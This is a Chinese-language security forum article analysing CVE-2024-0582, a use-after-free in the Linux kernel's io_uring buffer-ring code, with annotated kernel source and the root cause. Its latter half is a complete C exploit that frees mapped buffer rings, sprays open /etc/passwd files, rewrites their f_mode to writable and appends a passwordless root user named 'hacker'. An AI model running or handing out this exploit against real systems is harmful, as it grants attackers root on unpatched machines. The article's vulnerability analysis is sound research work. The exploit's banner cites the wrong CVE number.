CVE-2024-0582 内核提权详细分析
原文链接: https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458596966&idx=1&sn=d16d119a7e4c6b4d16fe0e3570c1b46f
CVE-2024-0582 内核提权详细分析
默文 看雪学苑 2025-07-08 09:59
一、漏洞简介
漏洞编号: CVE-2024-0582
影响版本
: v6.4 < Linux Kernel < v6.6.5
漏洞产品
: linux kernel – io_uring & io_unregister_pbuf_ring & uaf
利用效果
: 本地提权
二、环境搭建
复现环境:qemu + linux kernel v6.5.3
环境附件:
mowenroot/Kernel
复现流程
: 执行exp后,账号:hacker的root用户被添加。su hacker完成提权。
三、漏洞原理
漏洞本质是
uaf
。从内核版本5.7
开始,为了便于管理不同的缓冲区集,
io_uring
允许应用程序注册由组 ID 标识的缓冲区池。通过
io_uring_register
的
opcode->IORING_REGISTER_PBUF_RING
调用
io_register_pbuf_ring()
来完成注册ID标识缓冲区。并从内核版本6.4
开始,
io_uring
还允许用户将提供的缓冲区环的分配委托给内核,由
IOU_PBUF_RING_MMAP
标识符即可生成。调用
IOU_PBUF_RING_MMAP
由内核完成分配空间后,然后使用
mmap()
标识符映射到用户的地址,但是这个操作不会修改页面结构(pgae)的引用计数
,然后使用
io_unregister_pbuf_ring()
释放申请的空间的时候会调用
put_page_testzero(page)
,对
page
引用
-1
并判断引用是否为0
,如果为0
就会释放
page
,因为
mmap
映射的时候并不会页面结构(pgae)的引用计数
,内核并不知道是否取消了内存的映射。所以就会出现映射未取消就释放
page
的情况,而导致用户虚拟地址对物理地址映射未取消的
UAF
。
四、漏洞分析
关于io_uring的一些基础知识之前的文章已经详细介绍过,如果师傅们感兴趣可以看看之前的文章。接下来只介绍漏洞相关的点。
NVD描述
:A memory leak flaw was found in the Linux kernel’s io_uring functionality in how a user registers a buffer ring with IORING_REGISTER_PBUF_RING, mmap() it, and then frees it. This flaw allows a local user to crash or potentially escalate their privileges on the system.
io_uring_register
提供了接口
io_register_pbuf_ring
来完成注册
ID
标识缓冲区。旨在通过
ID
来对不同的缓冲区进行管理。下面分析的
kernel
源码版本为
v6.5.3
。
io_register_pbuf_ring
「1」 首先把用户数据复制到内核的
reg
。然后参数检查,判断
entries
是否为
2
次幂,并且限制
entries
最大不能超过
65536
。需要注意一点:意味着条目最大为
32768
。
「2」 如果
ctx->io_bl
为初始化时,会尝试初始化
ctx->io_bl
,这里的
io_bl
是一个
64
长度的数组。数组中存放
io_buffer_list
。如果
id
大于等于
64
时就会通过
xarray
来管理。
「3」 调用
io_buffer_get_list()
,通过
id
获取对应
bl (buf list)
,如果
bl
为空时,则会申请结构体
io_buffer_list
空间,标志为
GFP_KERNEL
。
「4」 当使用
IOU_PBUF_RING_MMAP
时,会调用
io_alloc_pbuf_ring()
,来申请
buf_ring
空间,否则内存页,最后将 bl加入到
ctx
中。
使用
IOU_PBUF_RING_MMAP
就会完成对
buf_ring
的空间分配,全程都由内核来完成,不同于
io_sqe_buffers_register
需要用户传入注册的地址。用户只需要指定对应注册的
ID
即可。
int io_register_pbuf_ring(struct io_ring_ctx *ctx, void __user *arg)
{
struct io_uring_buf_reg reg;
struct io_buffer_list *bl, *free_bl = NULL;
int ret;
if (copy_from_user(®, arg, sizeof(reg)))
return -EFAULT;
if (reg.resv[0] || reg.resv[1] || reg.resv[2])
return -EINVAL;
if (reg.flags & ~IOU_PBUF_RING_MMAP)
return -EINVAL;
// 非 MMAP的时候会检查 ring_addr
if (!(reg.flags & IOU_PBUF_RING_MMAP)) {
if (!reg.ring_addr)
return -EFAULT;
if (reg.ring_addr & ~PAGE_MASK)
return -EINVAL;
} else {
if (reg.ring_addr)
return -EINVAL;
}
// 判断是否为 2的幂
if (!is_power_of_2(reg.ring_entries))
return -EINVAL;
/* cannot disambiguate full vs empty due to head/tail size */
// MAX限制
if (reg.ring_entries >= 65536)
return -EINVAL;
// 当 0 <= id < 64 时,并且 io_bl 未初始化
if (unlikely(reg.bgid < BGID_ARRAY && !ctx->io_bl)) {
// 尝试初始化 io_bl (buf list)
int ret = io_init_bl_list(ctx);
if (ret)
return ret;
}
// 通过 id 获取对应 bl (buf list)
bl = io_buffer_get_list(ctx, reg.bgid);
if (bl) {
/* if mapped buffer ring OR classic exists, don't allow */
if (bl->is_mapped || !list_empty(&bl->buf_list))
return -EEXIST;
} else {
// 申请结构体 io_buffer_list 空间
free_bl = bl = kzalloc(sizeof(*bl), GFP_KERNEL);
if (!bl)
return -ENOMEM;
}
if (!(reg.flags & IOU_PBUF_RING_MMAP))
// 非 IOU_PBUF_RING_MMAP 用来固定内存页
ret = io_pin_pbuf_ring(®, bl);
else
// IOU_PBUF_RING_MMAP 会执行到这,申请 buf_ring 空间
ret = io_alloc_pbuf_ring(®, bl);
if (!ret) {
// 正常执行
bl->nr_entries = reg.ring_entries;
bl->mask = reg.ring_entries - 1;
// 将链表加入 ctx
io_buffer_add_list(ctx, bl, reg.bgid);
return 0;
}
kfree(free_bl);
return ret;
}
io_buffer_get_list
「1」 返回
ID
对应的
io_buffer_list(bl)
。 当 ID 符合限制的时候,会使用数组来管理
io_buffer_list
,这个时候直接返回
ID
对应的
bl
即可。如果超过限制,则使用
xarray
来管理。
static inline struct io_buffer_list *io_buffer_get_list(struct io_ring_ctx *ctx,
unsigned int bgid)
{
// 直接返回对应 io_buffer_list
if (ctx->io_bl && bgid < BGID_ARRAY)
return &ctx->io_bl[bgid];
// 如果 id 超过限制,返回xarray中的空间
return xa_load(&ctx->io_bl_xa, bgid);
}
io_alloc_pbuf_ring
「1」 为
io_uring_buf_ring
申请空间 。
buf_ring
环存放
ring_entries
个
io_uring_buf_ring
,而
io_uring_buf_ring
中存放地址、长度等信息。值得注意的是:申请
pages
为复合页。
static int io_alloc_pbuf_ring(struct io_uring_buf_reg *reg,
struct io_buffer_list *bl)
{
// 复合页申请
gfp_t gfp = GFP_KERNEL_ACCOUNT | __GFP_ZERO | __GFP_NOWARN | __GFP_COMP;
size_t ring_size;
void *ptr;
// buf_ring 环存放 ring_entries 个 io_uring_buf_ring
// io_uring_buf_ring 指向地址等信息
ring_size = reg->ring_entries * sizeof(struct io_uring_buf_ring);
ptr = (void *) __get_free_pages(gfp, get_order(ring_size));
if (!ptr)
return -ENOMEM;
bl->buf_ring = ptr;
bl->is_mapped = 1;
bl->is_mmap = 1;
return 0;
}
io_uring_buf、io_uring_buf_ring
结构体
struct io_uring_buf {
__u64 addr;
__u32 len;
__u16 bid;
__u16 resv;
};
struct io_uring_buf_ring {
union {
/*
* To avoid spilling into more pages than we need to, the
* ring tail is overlaid with the io_uring_buf->resv field.
*/
struct {
__u64 resv1;
__u32 resv2;
__u16 resv3;
__u16 tail;
};
__DECLARE_FLEX_ARRAY(struct io_uring_buf, bufs);
};
};
io_unregister_pbuf_ring
「1」 先根据
id
获取
io_buffer_list
,如果
id
符合标志则调用
__io_remove_buffers
仅仅释放
bl->buf_ring
。而不符合标准的使用
xarray
来管理,会直接释放整个
bl
。
int io_unregister_pbuf_ring(struct io_ring_ctx *ctx, void __user *arg)
{
struct io_uring_buf_reg reg;
struct io_buffer_list *bl;
if (copy_from_user(®, arg, sizeof(reg)))
return -EFAULT;
if (reg.resv[0] || reg.resv[1] || reg.resv[2])
return -EINVAL;
if (reg.flags)
return -EINVAL;
// 根据 id 获取 io_buffer_list
bl = io_buffer_get_list(ctx, reg.bgid);
if (!bl)
return -ENOENT;
if (!bl->is_mapped)
return -EINVAL;
// 释放 bl
__io_remove_buffers(ctx, bl, -1U);
if (bl->bgid >= BGID_ARRAY) {
xa_erase(&ctx->io_bl_xa, bl->bgid);
kfree(bl);
}
return 0;
}
__io_remove_buffers
「1」 由
IORING_REGISTER_PBUF_RING
申请的空间,会先获取
bl->buf_ring
的虚拟地址,然后调用
put_page_testzero()
,对
page
引用
-1
,如果
当前引用==0
,则释放
page
,但是使用
mmap
映射持有时,不会对
page
引用改变,内核无法知道此时映射是否取消。
static int __io_remove_buffers(struct io_ring_ctx *ctx,
struct io_buffer_list *bl, unsigned nbufs)
{
unsigned i = 0;
/* shouldn't happen */
if (!nbufs)
return 0;
if (bl->is_mapped) {
i = bl->buf_ring->tail - bl->head;
// 由 IORING_REGISTER_PBUF_RING,申请的空间
if (bl->is_mmap) {
struct page *page;
// 获取虚拟地址
page = virt_to_head_page(bl->buf_ring);
/**
* [!!]漏洞处
* 对page引用 -1,如果当前引用==0,则释放page
* 使用mmap映射持有时,不会对page引用改变
* 内核无法知道此时映射是否取消
*/
if (put_page_testzero(page))
free_compound_page(page);
bl->buf_ring = NULL;
bl->is_mmap = 0;
}
//...
return i;
}
五、漏洞复现
本质就是篡改
filp->f_mode
为可写,然后篡改
/etc/passwd
。
〔1〕 初始化:绑定CPU,注册io_uring,设置最大可打开文件数 (把rlim_cur设置为rlim_max),
nr_files
最大打开
file
数量。
〔2〕 通过
IOU_PBUF_RING_MMAP
注册对应
ID
的
buf_ring
区域。然后通过
mmap
映射到用户空间。
〔3〕 通过
io_uring_unregister_buf_ring
释放申请的所有
buf_ring
。
〔4〕 喷射
nr_files
个
/etc/passwd
,因为通过
O_RDONLY
标识符打开,
f_mode
固定为
0x494a801d
。
〔5〕 尝试使用
UAF
,通过固定的
f_flags+f_mode == 0x484a801d00008000
定位到文件处,修改
f_mode
。
〔6〕因为无法知道文件描述符,所以暴力对所有
/etc/passwd
进行写操作,通过返回值判断是否写入成功,非常稳定。
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <liburing.h>
#include <fcntl.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <mqueue.h>
#include <sys/syscall.h>
#include <sys/resource.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include<sys/stat.h>
#include<sys/file.h>
#pragma pack(16)
#define __int64 long long
#define CLOSE printf("\033[0m\n");
#define RED printf("\033[31m");
#define GREEN printf("\033[36m");
#define BLUE printf("\033[34m");
#define YELLOW printf("\033[33m");
#define _QWORD unsigned long
#define _DWORD unsigned int
#define _WORD unsigned short
#define _BYTE unsigned char
#define COLOR_GREEN "\033[32m"
#define COLOR_RED "\033[31m"
#define COLOR_YELLOW "\033[33m"
#define COLOR_BLUE "\033[34m"
#define COLOR_DEFAULT "\033[0m"
#define showAddr(var) dprintf(2, COLOR_GREEN "[*] %s -> %p\n" COLOR_DEFAULT, #var, var);
#define logu(fmt, ...) dprintf(2, "[*] " fmt "\n" , ##__VA_ARGS__)
#define logd(fmt, ...) dprintf(2, COLOR_BLUE "[*] %s:%d " fmt "\n" COLOR_DEFAULT, __FILE__, __LINE__, ##__VA_ARGS__)
#define logi(fmt, ...) dprintf(2, COLOR_GREEN "[+] %s:%d " fmt "\n" COLOR_DEFAULT, __FILE__, __LINE__, ##__VA_ARGS__)
#define logw(fmt, ...) dprintf(2, COLOR_YELLOW "[!] %s:%d " fmt "\n" COLOR_DEFAULT, __FILE__, __LINE__, ##__VA_ARGS__)
#define loge(fmt, ...) dprintf(2, COLOR_RED "[-] %s:%d " fmt "\n" COLOR_DEFAULT, __FILE__, __LINE__, ##__VA_ARGS__)
#define die(fmt, ...) \
do { \
loge(fmt, ##__VA_ARGS__); \
loge("Exit at line %d", __LINE__); \
exit(1); \
} while (0)
#define debug(fmt, ...) \
do { \
loge(fmt, ##__VA_ARGS__); \
loge("debug at line %d", __LINE__); \
getchar(); \
} while (0)
#define check_ret(ret, buf) do { if((ret) < 0) { die(buf); } } while(0)
#define MAX_ring_entries 65536
#define PAGE_SZIE 0x1000
void bind_cpu(int core);
void binary_dump(char *desc, void *addr, int len);
struct __attribute__((aligned(0x100))) fake_filp{
char pad[20];
uint32_t f_mode;
char padding[];
};
void prep_rlimit(int *nr_files){
struct rlimit max_file;
getrlimit(RLIMIT_NOFILE,&max_file);
logu("rlim_cur -> %d rlim_max -> %d",max_file.rlim_cur,max_file.rlim_max);
max_file.rlim_cur=max_file.rlim_max;
setrlimit(RLIMIT_NOFILE,&max_file);
int limit = max_file.rlim_max/4;
*nr_files = limit/2;
logu("nr_files -> %d",*nr_files);
}
int change_mode(void* addr,uint64_t size){
int ret = -1;
uint64_t* tmp = (uint64_t* )addr;
for (size_t i = 0; i < size/8; i++)
{
// if( tmp[i] != 0)
// logi(" addr: %p offset: 0x%llx -> %p",addr+i,i,tmp[i]);
if(tmp[i]==0x494a801d00000000){
// logw("successful!! addr: %p offset: 0x%llx -> %p",addr+i*8,i*8,tmp[i]);
tmp[i] = 0x494f801f00000000;
ret = 1;
break;
}
}
return ret;
}
int main(void){
int nr_files,ret;
struct io_uring ring;
int nr_bufs = 1000;
void** bufs;
struct io_uring_buf_reg reg;
int* fds;
staticstruct stat status;
int passwd_size,passwd_fd;
char* hacker_buf;
int hacker_len;
uint64_t nr_pages,entries,mmap_size,mmap_off;
RED;puts("[*] CVE-2023-2598 Exploit by mowen");CLOSE;
stat("/etc/passwd",&status);
passwd_size=status.st_size;
logi("passwd_size -> %d",passwd_size);
hacker_buf =(char*) malloc(passwd_size*2);
passwd_fd = open("/etc/passwd",O_RDONLY);
read(passwd_fd,hacker_buf,passwd_size);
strcat(hacker_buf,"hacker::0:0:root:/root:/bin/sh\n");
hacker_len =strlen(hacker_buf);
bind_cpu(0);
// 1、解除当前进程限制
prep_rlimit(&nr_files);
// 2、初始化 io_uring
check_ret(io_uring_queue_init(32,&ring,0),"io_uring_queue_init fail");
bufs = calloc(nr_bufs,sizeof(*bufs));
fds = malloc(nr_files*(sizeof(int)));
/**
* nr_pages: 有多少页,构造页数
* entries = nr_pages*(PAGE_SIZE/sizeof(struct io_uring_buf))
* mmap_size = entries*sizeof(struct io_uring_buf);
*/
entries = MAX_ring_entries/2;
if(entries>MAX_ring_entries){
die("entries too large");
}
nr_pages = entries/256;
logi("nr_pages -> %d entries -> %d",nr_pages,entries);
// 3、注册 IOU_PBUF_RING_MMAP
logu("register buf ring <- IOU_PBUF_RING_MMAP");
for (size_t i = 0; i < nr_bufs; i++)
{
memset(®,0,sizeof(reg));
reg.bgid=i;
reg.flags=IOU_PBUF_RING_MMAP;
reg.ring_entries=entries;
ret=io_uring_register_buf_ring(&ring,®,0);
if(ret < 0){
die("io_uring_register_buf_ring fail [%d]",i);
}
mmap_size = reg.ring_entries*sizeof(struct io_uring_buf);
mmap_off = IORING_OFF_PBUF_RING | (unsignedlonglong) i << IORING_OFF_PBUF_SHIFT;
bufs[i] = mmap(
NULL,
mmap_size,
PROT_READ|PROT_WRITE,
MAP_SHARED,
ring.ring_fd,
mmap_off
);
if(bufs[i]==MAP_FAILED){
die("mmap fail");
}
io_uring_buf_ring_init(bufs[i]);
// logu("br[%d] -> %p",i,br[i]);
}
logu("unregister buf ring");
for (size_t i = 0; i < nr_bufs; i++)
{
io_uring_unregister_buf_ring(&ring, i);
}
logi("sparying...");
for (size_t i = 0; i < nr_files; i++)
{
fds[i] = open("/etc/passwd", O_RDONLY);
check_ret(fds[i],"failed to open file");
}
logi("try to leak...");
for (size_t i = 0; i < nr_bufs; i++)
{
ret = change_mode(bufs[i],PAGE_SZIE*nr_pages);
if(ret<0)continue;
logi("change_mode success!!!");
for (size_t i = 0; i < nr_files; i++)
{
if(write(fds[i],hacker_buf,hacker_len)>0){
logw(" hacker /etc/passwd successful");
break;
}
}
// debug("debug");
stat("/etc/passwd",&status);
logu("passwd_size -> %d",status.st_size);
if(status.st_size==passwd_size)continue;
logd("success!!! su hacker to get root");
exit(0);
}
RED;puts("[*]failed");CLOSE;
return 0;
}
void bind_cpu(int core)
{
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
BLUE;printf("[*] bind_cpu(%d)",core);CLOSE;
}
看雪ID:
默文
https://bbs.kanxue.com/user-home-1026022.htm
*本文为看雪论坛精华文章,由
默文
原创,转载请注明来自看雪社区
议题征集中!看雪·第九届安全开发者峰会
往期推荐
Linux 3.10 版本编译 qemu仿真 busybox
球分享
球点赞
球在看
点击阅读原文查看更多